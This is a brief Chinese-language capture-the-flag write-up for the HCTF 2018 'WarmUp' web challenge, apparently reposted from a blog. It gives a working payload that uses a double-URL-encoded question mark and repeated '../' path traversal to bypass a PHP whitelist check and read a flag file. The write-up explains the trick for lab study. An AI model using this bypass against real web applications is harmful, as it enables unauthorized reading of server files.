CTF web之旅 43

[HCTF 2018]WarmUp

payload 为?file=source.php%253f/../../../../../ffffllllaaaagggg

参考wp

代码中的难理解的语句:

            $_page = mb_substr(
                $_page,
                0,
                mb_strpos($_page . '?', '?')//page中存在?就返回问号之前的 不存在就返回整个page

%253f是问号经过两次URLencode的    被执行时先是被服务器默认解码 然后又被后台定义的函数解析了一遍

问号是用来截取source.php 的 绕过函数

添加/使source.php%253f成为一个不存在的目录  然后利用../不断的跳转父目录 跳到第四次时得到flag

原文地址:https://www.cnblogs.com/akger/p/14819683.html